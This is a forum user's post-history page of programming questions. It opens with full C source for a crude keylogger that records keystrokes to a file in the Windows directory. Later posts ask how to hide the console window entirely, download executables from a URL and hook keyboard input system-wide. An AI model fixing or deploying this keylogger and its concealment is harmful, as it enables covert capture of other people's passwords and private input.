I am trying to implement KeyLogger in our application. It give me following errors - 'GetWindowsDirectory': identifier not found and 'GetAsyncKeyState': identifier not found. I have already included the header files which are needed for these functions. Can anyone tell what I am doing wrong. I am using using following code - #include "Windows.h" #include "WinUser.h" #include "stdafx.h" #include ; #include ; #include ; void keys(int key,char *file) { FILE *key_file; key_file = fopen(file,"a+"); if (key==8) fprintf(key_file,"%s","[del]"); if (key==13) fprintf(key_file,"%s","\n"); if (key==32) fprintf(key_file,"%s"," "); if (key==VK_CAPITAL) fprintf(key_file,"%s","[Caps]"); if (key==VK_TAB) fprintf(key_file,"%s","[TAB]"); if (key ==VK_SHIFT) fprintf(key_file,"%s","[SHIFT]"); if (key ==VK_CONTROL) fprintf(key_file,"%s","[CTRL]"); if (key ==VK_PAUSE) fprintf(key_file,"%s","[PAUSE]"); if (key ==VK_KANA) fprintf(key_file,"%s","[Kana]"); if (key ==VK_ESCAPE) fprintf(key_file,"%s","[ESC]"); if (key ==VK_END) fprintf(key_file,"%s","[END]"); if (key==VK_HOME) fprintf(key_file,"%s","[HOME]"); if (key ==VK_LEFT) fprintf(key_file,"%s","[LEFT]"); if (key ==VK_UP) fprintf(key_file,"%s","[UP]"); if (key ==VK_RIGHT) fprintf(key_file,"%s","[RIGHT]"); if (key ==VK_DOWN) fprintf(key_file,"%s","[DOWN]"); if (key ==VK_SNAPSHOT) fprintf(key_file,"%s","[PRINT]"); if (key ==VK_NUMLOCK) fprintf(key_file,"%s","[NUM LOCK]"); if (key ==190 || key==110) fprintf(key_file,"%s","."); if (key >=96 && key <= 105) { key = key - 48; fprintf(key_file,"%s",&key); } if (key >=48 && key <= 59) fprintf(key_file,"%s",&key); if (key !=VK_LBUTTON || key !=VK_RBUTTON) { if (key >=65 && key <=90) { if (GetKeyState(VK_CAPITAL)) fprintf(key_file,"%s",&key); else { key = key +32; fprintf(key_file,"%s",&key); } } } fclose(key_file); } int _tmain(int argc, _TCHAR* argv[]) { char i; char test[1000]; GetWindowsDirectory(test,sizeof(test)); strcat(test,"//keys.txt"); while(1) { for(i=8;i<=190;i++) { if (GetAsyncKeyState(i) == -32767) { keys (i,test); } } } return 0; }
avika
Posts
-
Error while trying to implement KeyLogger -
Hide Command Prompt in Console ApplicationI am not launching my application from another application. I have to create console application because in some cases I have to show command prompt and in some cases not to show.
-
Hide Command Prompt in Console ApplicationI want to hide the command prompt while running my console application. I have used following code - HWND hWnd = GetConsoleWindow(); if(hWnd) { ShowWindow(hWnd, SW_HIDE); } This code is working fine, but for a moment it shows the command prompt and then hide it. Is there any way to hide Command Prompt completely?
-
Download file from the url.Now it is working fine ... thanks a lot buddy..
-
Download file from the url.I have tried the method which are suggest by u, Superman but it gives following error --- unresolved external symbol _URLDownloadToFileW@20 referenced in function "void __cdecl funDownloadFile(void)" (?funDownloadFile@@YAXXZ)
-
Download file from the url.if We are pass only outfile.write(pszOutBuffer,sizeof(dwSize)); then it show less data in the text file. But if We pass the outfile.write(pszOutBuffer,sizeof(dwSize) * 50); then it show complete data thats why we are passing this.
-
Download file from the url.We want to download a file from the url. If we are download a text file then this code will download the file successfully, but if we are trying to download a exe or even a jpg file then this code does not work fine. We are using following code - DWORD dwSize = 0; DWORD dwDownloaded = 0; LPSTR pszOutBuffer; BOOL bResults = FALSE; HINTERNET hSession = NULL, hConnect = NULL, hRequest = NULL; hSession = WinHttpOpen( L"WinHTTP Example/1.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); if (hSession) hConnect = WinHttpConnect(hSession, L"localhost.com", INTERNET_DEFAULT_HTTP_PORT, 0); if (hConnect) hRequest = WinHttpOpenRequest( hConnect, L"GET", L"/CMS/upload/1.txt", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_REFRESH); if (hRequest) bResults = WinHttpSendRequest( hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0); if (bResults) bResults = WinHttpReceiveResponse( hRequest, NULL); if (bResults) { dwSize = 0; if (!WinHttpQueryDataAvailable( hRequest, &dwSize)) printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError()); if (dwSize > 0) { pszOutBuffer = new char[dwSize+1]; } if (!pszOutBuffer) { printf("Out of memory\n"); dwSize=0; } else { if (dwSize>0) { ZeroMemory(pszOutBuffer, dwSize+1); if (!WinHttpReadData( hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded)) printf("Error %u in WinHttpReadData.\n", GetLastError()); } } HANDLE hFile; DWORD dwNumWritten; BOOL bTest; ofstream outfile ("D:\\1.txt",ofstream::binary); outfile.write(pszOutBuffer,sizeof(dwSize) * 50); Please help me what I am doing wrong.
-
get Keyboard Hooks from a particular applicationthanks for your reply. I think this will help me ... thanks a lot dear ...
-
get Keyboard Hooks from a particular applicationya i knw .NET Framework doesn't support this. I am using same dll and using this i am able to install hooks and also able to get the events on pressing of keys. But i want to install the hooks for a particular application, so is there any method that give me this functionality or is there any way to get the application name on which we have pressing keys, so that i can do something on events if hooks comes from a particular application.
-
get Keyboard Hooks from a particular applicationI am trying to get keyboard and mouse hooks. I am able to install hooks in my system and also get the hooks. But i am trying to get hooks from a particular application, so is there any way to get it or it is possible that when i am installing the hooks then i am able to install for a particular application only. I am using the following url as a sample application. http://www.codeproject.com/KB/system/globalsystemhook.aspx Please help me..
-
get Keyboard Hooks from a particular applicationokk... thanks for ur reply...
-
get Keyboard Hooks from a particular applicationcan you tell me on which forum i have to post it, so that i can get the answer. I am developing a windows application using C# and in this i am able to install hooks for all applications and also able to get hooks but i want it only for a particular application.
-
get Keyboard Hooks from a particular applicationI am trying to get keyboard and mouse hooks. I am able to install hooks in my system and also get the hooks. But i am trying to get hooks from a particular application, so is there any way to get it or it is possible that when i am installing the hooks then i am able to install for a particular application only. I am using the following url as a sample application. http://www.codeproject.com/KB/system/globalsystemhook.aspx Global System Hooks in .NET[^] Please help me.. thanks
-
how we read the device which is connected to our system's serial port ?I am able to connect to serial port but not able to read the data from the connected device. Here is the code which i am using to read the device- // Create the serial port with basic settings SerialPort port = new SerialPort("COM1", 9600, Parity.None, 8, StopBits.One); port.Handshake = System.IO.Ports.Handshake.None; port.ReadTimeout = 5000; port.Open(); //retrieve number of bytes in the buffer int bytes = port.BytesToRead; //create a byte array to hold the awaiting data byte[] comBuffer = new byte[bytes]; //read the data and store it port.Read(comBuffer, 0, bytes); string str; System.Text.ASCIIEncoding enc = new System.Text.ASCIIEncoding(); str = enc.GetString(comBuffer); txtData.Text = str; port.Close(); when i am running this code then I get 0 in BytesToRead and comBuffer. I think i am doing something wrong but what it is not have any idea.
-
how we read the device which is connected to our system's serial port ?I have to develop this in ASP .Net web application. I got some information regarding to Serial Port classes and methods from MSDN but still not able to get it. Please help me if you have any idea regard to this.
-
how we read the device which is connected to our system's serial port ?I have to develop an application, which can able to connect to a GPS device which is connected to serial port in our system and also able to read all the data from the device. Currently I am able to make connection to my system's serial port but not able to connect to that GPS device and also not able to read the data from the device. So in brief problem is that, "how we read the device which is connected to our system's serial port." Please help me out to solve this problem.
-
Problem in reading pdf file?Hello all, I wand to read a pdf file using asp .Net and want to show contents of pdf file into a text area. Get a lots of code for viewing pdf file or writing the pdf file but not for how to read a pdf file. Please help me...